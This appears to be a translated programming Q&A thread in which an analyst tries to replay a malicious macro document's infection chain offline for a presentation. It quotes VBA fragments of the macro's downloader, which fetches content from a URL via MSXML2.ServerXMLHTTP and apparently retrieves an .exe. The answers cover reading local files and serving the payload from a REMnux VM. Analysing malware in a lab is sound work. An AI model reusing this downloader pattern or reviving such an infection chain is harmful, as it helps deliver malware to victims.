我试图为演示文稿保留一个支持恶意宏的文档感染链。由于URL往往很快就会消失,我已经在本地保存了所有文件,并且我正在尝试修改宏代码以使用本地文件而不是基于URL的响应对象,我就是这样做的。遇到一些问题。
原始代码看起来像这样(我编写了一些函数和变量名称,比我正在处理的混淆垃圾更有意义,但名称可能对其功能不准确)< / p>
CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
fileObject.Open GET, URL
fileObject.Send ( VariableIcantRembmer )
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
FileProcessFunction = (a.responsetext)
End Function
我已将其修改为更像这样
CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.OpenTextFile(URL)
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
Do Until a.AtEndOfStream
FileProcessFunction = FileProcessFunction + a.readline
Loop
End Function
但这会导致程序稍后出现溢出,并且不会保留文件的换行符。在我刚做FileProcessFunction = a.readline
之前,但显然只返回最后一行。我不知道我是否需要返回字符(我认为我这样做),并且我相当肯定的FileProcessFunction也用于获取.exe
文件,该文件不能使用a.readline
,我很确定。我最后一次介绍它,从本地.exe
拉出的所有内容都是MZ标题,没有别的。
如何以能够正确模仿URL请求的a.responsetext属性的方式处理本地文件对象?
答案 0 :(得分:0)
不确定你真正想要的是什么......
Public Function FileProcessFunction(a As Object)
FileProcessFunction = a.readall()
End Function
答案 1 :(得分:0)
我弄清楚问题是什么。我相对确定我想要做的事情实际上会有效,但是我将宏指向.exe文件而不是带有所述.exe文件下载链接的文本文件。该宏期待文本文件带有链接。
我实现的修复程序,而不是尝试使用本地文件,是在主机上使用Remnux VM,只使用python -m SimpleHTTPServer托管文件。然后我只是为创建对象时设置一个断点,并操纵locals指向我的Remnux机器上的文件,而不是它实际编码的URI。此外,将文本文件中的链接设置为Remnux计算机,而不是dropbox。工作就像一个魅力。